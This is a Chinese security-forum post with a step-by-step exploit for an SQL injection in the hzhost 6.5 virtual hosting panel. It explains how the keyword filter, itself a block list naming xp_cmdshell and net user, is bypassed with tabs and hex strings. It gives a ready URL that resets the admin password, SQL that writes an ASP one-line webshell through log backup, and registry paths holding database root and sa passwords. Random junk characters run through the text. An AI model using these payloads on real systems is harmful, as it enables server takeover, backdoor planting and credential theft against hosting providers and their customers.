找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2082|回复: 0
打印 上一主题 下一主题

再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 15:03:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
3 v2 z+ O& n, B 只讲两个要点。8 b$ s) v. m6 h, F% W
第一,如何拿网站管理员权限。
/ b+ `3 j- k) w0 A+ }' a 第二,如何备份木马。
  a$ Q( i1 S: l! Z: | 这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。1 u5 {% s, K& {( {8 e" Y2 X
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。8 @* a  F) X0 n: U& t" i
httP://www.xxbing.com QQ1787373157 H  h8 B- q% `2 e% {
由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。
/ k, ]2 _$ ~$ ^/ T------------开放浏览-------------
7 q' v6 f* K* y2 G7 Z# F& } 漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!- F' t4 N2 Y) U7 p& A
-------------------------13-15行----------------------------
  E: K: R) ^* n5 P querytype=SafeRequest("querytype")  //saferequest函数接受数据, R8 V- Q3 b, E( P" A
if chk_int(querytype)=false then  //检查是否是整数
( x" `  o2 h3 \+ i2 w# g: |    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."$ @8 C0 G% m. Y0 i. q+ T! F( a
-------------------------37-42行---------------------------/ y$ B0 t7 D) N+ ~. B9 y
elseif querytype=5 then //如果类型为5。就接受qu1数据!
3 \% A. g" X6 x1 _! \6 Q: f# e   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!9 ?( g& r6 X$ |6 o9 |* T/ j
   + r& R& ]5 G: Y
    if  qu1="" then  //不能为空. J5 @2 G8 C8 b) x) `% U' f+ v
         call errorpage(-2,"对不起,请选择参数!")# E' O: g( s3 y% ]2 l
   end if         
0 W& `  Z2 Z4 k4 T' e2 {2 n      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!
# v" T! b$ c. I; G -------------------------62-65行---------------------------
- O3 j  R  L0 @  b* ~ qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
. e; d" c. f& t9 s+ t: k9 G if qu7<>"" then% y' V  |1 Z" u. y# L+ L
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!* _* ?; _% z6 @7 W
end if " ~, D4 r% B+ \
--------------------------117行-----------------------------
  [: ~: d9 w& ]7 { query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring
; A! M  e; J6 J" R //到这里就丢进去查询了!
6 |  b0 K% T" a6 I8 d# |& F1 C
+ m. U; r/ s" I  X/ O 来看看saferequest()函数。6 r7 ^5 {8 y* H; {
------------------incs/config.asp中-------------------------( p" I1 a+ k8 E
Function SafeRequest(ParaName) ( n3 ?5 R$ h7 f
Dim ParaValue $ D/ b  q! \, M( A& x
ParaValue=Request(ParaName)  //获取数据
4 {. `& y9 \" [" G8 \3 n7 V if IsNumeric(ParaValue)  then  //如果是数字
% q% N9 m' u% l1 ?1 i, p SafeRequest=ParaValue  //那就不过滤,直接赋值
, m2 X5 T! `" ~6 J8 @( P exit Function
9 {7 g& U5 ?* G2 k  U- d( Q
) x. _+ L& u9 \) { else0 g; H' S/ r$ I. a9 @) ]6 q! w, v
ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写
+ J, m( Z2 \0 \+ @/ X tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
  d5 ]2 G4 |, [  \+ {  p+ `8 F7 w //定义要过滤的字符!
. M# G* {, O8 a: {# a
- y$ L& @* _2 Q- W 他过滤方式有问题。。。没有过滤 * / % / -- / ;3 D8 @* z# ^, V0 f! D& N
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。! K, b2 m7 l% O  u: A  _

8 f8 f( I$ n/ S  {6 f  D# z temps=split(tempvalue,"|")           //转为一维数组
, r5 t9 q, W+ U" U: Z for mycount=0 to ubound(temps)       //循环读数组内数据3 a4 V, X( {7 K# L9 l
if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。' U" S: r: a: g) w
                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!
+ y' \) J7 k4 V                 response.end
" a, i+ D, V; Q end if2 l  _1 L+ D1 f
next
" j& u1 `3 W0 v! Z2 Q9 R' o3 o4 s) U SafeRequest=ParaValue' N! i7 v! ]1 C
end if  s' V3 M* Q1 V; Y8 r; k
End function
6 t; _7 e* \" ]! S7 C! g/ T -------------------------------------$ ^* z' c$ O3 `' c" }9 p0 p1 N% d5 D+ f
7 i3 k! e/ p0 y& F
所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。
( D3 @6 S. t1 I. n 先给出查询语句的框架。
* n8 {8 {: D; m0 N" \4 B& iselect * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc9 X& `8 _5 [' w0 F

" j: _. H* C) _, D4 W 为了使语句顺利执行:0 |3 N- d( z3 {. F1 ^7 U8 o
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。) [/ _- |* U1 u: \+ O
这里我给出条示范语句,即{我们的语句}
3 y0 ?1 _. W* ~: c$ P1 Y! qUPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E4 V% a/ o( i4 V) k- d! ?8 i
, D8 p! I* m4 t' I0 l
这条语句能够绕过saferequest函数的检测。没有出现单引号。3 B/ o0 }" h" t" d' s( `! Q$ A
我们提交:1 L2 `/ @- _& q; x
http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1& z  i) h! p+ u) G' _
. ^: d, |, I0 e' r: r
这句话就能够将admin的密码修改成123456
6 H* ~5 J8 X! P; R3 j$ c* [6 v; i 到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。) X7 }* E' N% W1 g. M
第二步是要备份挂马。) r% o( A$ k5 }$ o: u9 ]
大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(3 ^  C( T: y5 r  [+ d( d( j
导致备马的这条语句失败。
- r* Q3 ]4 y' h& o$ Mdeclare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。$ l6 w0 F7 J+ G" U) r

4 F; f+ P, V  u9 Z& R0 H 有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。) \- y5 x& ]; m: I! e8 k0 D& r5 Y4 t
由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
4 E) }( z5 z+ h) [. Y) N- a 接下来放出详细语句。大家放入{我们的语句中}7 E5 d. `- C5 `! z7 `2 E
第 一 步:
3 j! z. i, }' ]6 m4 _ create table [dbo].[shit_tmp] ([cmd] [image])--' S# `! h" r$ _6 J
第 二 步
( N2 K+ U* A" S0 \ declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--) q6 L! u; I! Y* H  o
第 三 步
; S7 K8 [$ i# \! V insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
  d$ D/ t& C9 G+ D  Q2 Y7 Q! X 第 四 步3 ?1 W9 v; P" f1 G# n
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--5 q+ Z/ \- W% A1 I6 ~: ?$ e& a
第 五 步. T8 D2 G/ C; ]% F' {
Drop table [shit_tmp]--
$ I" F) U2 E5 m5 |( ~: K- d. w0 g/ _' @8 H
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
# D. b  x7 ]! E7 L$ S) \' E 一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
0 m; l# {7 \# I& q 请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》
1 q, {4 v  k' G! [- u
7 ^+ Y, t- f) R# c$ U4 {最后是答疑部分:- n8 [# E( h# x% {5 ]# @
1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
6 K) N" H: P- R  Z2 ]
9 g; f1 I% C. g. t4 b3 Q 2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500) a; j2 e  O# @- _
这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:
: \- t" i$ |6 \( `9 m1 `5 Y2 P 0x6531306164633339343962613539616262653536653035376632306638383365
) q" \8 T9 Z3 T6 O+ K6 ]& @ 大家仔细观察,会发现,其实只是去掉了一些00。。
: o7 C" C; }' M 所以大家在转换其他md5的时候,注意此问题。
5 l. g: R% N1 P& E, M" a% v( P2 k2 d/ [8 I2 i& b3 i0 H
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。8 s3 |% F$ l" ?' v9 `5 U5 ^$ J4 H
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。+ ?9 c7 [5 V0 p, ^" g
4 o) P% P  e; y/ g- z
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。0 h5 r" e1 R/ ^6 o# `
有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
* |1 k# j# q, F. h2 [  C/ H- u, t$ u/ ^& d4 j' I1 L
5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
# Z5 n6 t  p- L( z6 C+ X0 w: V
4 b- s# }* T5 [9 Y 6::5 q6 _; |. Y' ?" @1 Z" l9 l
sa密码。root密码。4 X9 P' l4 |, N" [) R: I
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
8 S1 x$ D4 Z+ a- n8 a& H mysqlpass---root密码; @: w/ n: k1 D
mssqlpss----sa密码, U% T0 ?) @4 @$ z
0 Q9 a- h. C) I
' e2 n; ?5 x1 ^1 X/ [
7.如果路径不在D:/hzhost
3 j1 k! N# [- m% ?7 p2 B 那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。6 D8 \8 h* @2 e6 S  I3 s
或者去读注册表。
' E; h1 U" w& S2 c+ w6 q+ f. q HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下6 x- g, g) h' N) g
"wwwrootpath"="e:\\wwwroot"% x, V  Q* v% S
"urlsiteroot"="D:\\hzhost\\hzhost_url"3 f& M; s0 D) Z! t" }
"ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)
+ N' |, F8 @6 l8 A1 t4 N 大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!; i4 u5 ]. N% k3 D8 x

  E& O; L1 J' r& N 利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)
$ @/ w8 N0 T5 H; F$ A4 o8 ]hzhost最新漏洞.rar8 T. ^% ]7 d1 v! J  P
饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!' J& I7 B, S- K/ w2 s5 B

/ @, J) H2 I7 D 最后,还是版权。2 `/ h8 i. R; Q2 v1 z: ^$ v
http://www.xxbing.com QQ178737315
* s# y# r9 x! [# S 允许自由转载。但请注明作者。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表